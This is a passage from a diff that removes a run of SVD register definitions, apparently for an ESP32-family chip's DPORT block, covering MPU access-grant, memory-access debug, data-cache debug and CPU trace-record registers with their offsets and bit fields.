-        <register>
-          <name>AHBLITE_MPU_TABLE_WIFIMAC</name>
-          <addressOffset>0x3E0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WIFIMAC_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>AHBLITE_MPU_TABLE_PWR</name>
-          <addressOffset>0x3E4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PWR_ACCESS_GRANT_CONFIG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_ACCESS_DBUG0</name>
-          <addressOffset>0x3E8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_ROM_MPU_AD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_ROM_IA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_ROM_MPU_AD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_ROM_IA</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SHARE_ROM_MPU_AD</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SHARE_ROM_IA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INTERNAL_SRAM_MMU_AD</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INTERNAL_SRAM_IA</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>INTERNAL_SRAM_MMU_MULTI_HIT</name>
-              <bitOffset>26</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_ACCESS_DBUG1</name>
-          <addressOffset>0x3EC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INTERNAL_SRAM_MMU_MISS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ARB_IA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PIDGEN_IA</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AHB_ACCESS_DENY</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AHBLITE_ACCESS_DENY</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AHBLITE_IA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG0</name>
-          <addressOffset>0x3F0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_SLAVE_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MMU_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_IA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_STATE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_WR_BAK_TO_READ</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_TX_END</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_SLAVE_WR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_SLAVE_WDATA_V</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_RX_END</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG1</name>
-          <addressOffset>0x3F4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_CTAG_RAM_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG2</name>
-          <addressOffset>0x3F8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_CACHE_VADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>27</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG3</name>
-          <addressOffset>0x3FC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_MMU_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_OPPOSITE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_DRAM1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_IROM0</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_IRAM1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_IRAM0</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_DISABLED_CACHE_IA_DROM0</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_IRAM0_PID_ERROR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG4</name>
-          <addressOffset>0x400</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_DRAM1ADDR0_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG5</name>
-          <addressOffset>0x404</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_DROM0ADDR0_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG6</name>
-          <addressOffset>0x408</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_IRAM0ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG7</name>
-          <addressOffset>0x40C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_IRAM1ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG8</name>
-          <addressOffset>0x410</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_IROM0ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DCACHE_DBUG9</name>
-          <addressOffset>0x414</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_OPSDRAMADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG0</name>
-          <addressOffset>0x418</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_SLAVE_WDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MMU_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_CACHE_IA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_CACHE_STATE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_WR_BAK_TO_READ</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_TX_END</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_SLAVE_WR</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_SLAVE_WDATA_V</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_RX_END</name>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG1</name>
-          <addressOffset>0x41C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_CTAG_RAM_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG2</name>
-          <addressOffset>0x420</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_CACHE_VADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>27</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG3</name>
-          <addressOffset>0x424</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_MMU_RDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_OPPOSITE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_DRAM1</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_IROM0</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_IRAM1</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_IRAM0</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_DISABLED_CACHE_IA_DROM0</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_IRAM0_PID_ERROR</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG4</name>
-          <addressOffset>0x428</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_DRAM1ADDR0_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG5</name>
-          <addressOffset>0x42C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_DROM0ADDR0_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG6</name>
-          <addressOffset>0x430</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_IRAM0ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG7</name>
-          <addressOffset>0x434</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_IRAM1ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG8</name>
-          <addressOffset>0x438</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_IROM0ADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DCACHE_DBUG9</name>
-          <addressOffset>0x43C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_OPSDRAMADDR_IA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_CTRL</name>
-          <addressOffset>0x440</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000100</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CPU_RECORD_ENABLE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_RECORD_DISABLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CPU_PDEBUG_ENABLE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_STATUS</name>
-          <addressOffset>0x444</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_CPU_RECORDING</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PID</name>
-          <addressOffset>0x448</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PID</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGINST</name>
-          <addressOffset>0x44C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGINST</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGINST_SZ</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGINST_ISRC</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGINST_LOOP_REP</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGINST_LOOP</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGINST_CINTL</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGSTATUS</name>
-          <addressOffset>0x450</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGSTATUS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGSTATUS_BBCAUSE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGSTATUS_INSNTYPE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGDATA</name>
-          <addressOffset>0x454</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGDATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP_OTHER</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_EXCVEC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_SR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_RER</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_BUFF</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_WER</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_BUFFCONFL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_ER</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_DCM</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_LSU</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_ICM</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_IRAMBUSY</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP_LSU</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_IPIF</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_RSR</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_TIE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_WSR</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_RUN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_INSNTYPE_XSR</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP_STR</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_BPIFETCH</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_L32R</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_LSPROC</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_BPLOAD</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP_MEMW</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_EXCCAUSE</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_BANKCONFL</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_DEP_HALT</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_ITERMUL</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGDATA_STALL_ITERDIV</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGPC</name>
-          <addressOffset>0x458</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGPC</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGLS0STAT</name>
-          <addressOffset>0x45C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGLS0STAT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_TYPE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_SZ</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_DTLBM</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_DCM</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_DCH</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_UC</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_WB</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_COH</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_STCOH</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RECORD_PDEBUGLS0STAT_TGT</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGLS0ADDR</name>
-          <addressOffset>0x460</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGLS0ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_RECORD_PDEBUGLS0DATA</name>
-          <addressOffset>0x464</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_PRO_PDEBUGLS0DATA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_CTRL</name>
-          <addressOffset>0x468</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000100</resetValue>
-          <fields>
-            <field>
-              <name>APP_CPU_RECORD_ENABLE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_RECORD_DISABLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CPU_PDEBUG_ENABLE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_STATUS</name>
-          <addressOffset>0x46C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_CPU_RECORDING</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PID</name>
-          <addressOffset>0x470</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RECORD_APP_PID</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_RECORD_PDEBUGINST</name>
-          <addressOffset>0x474</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
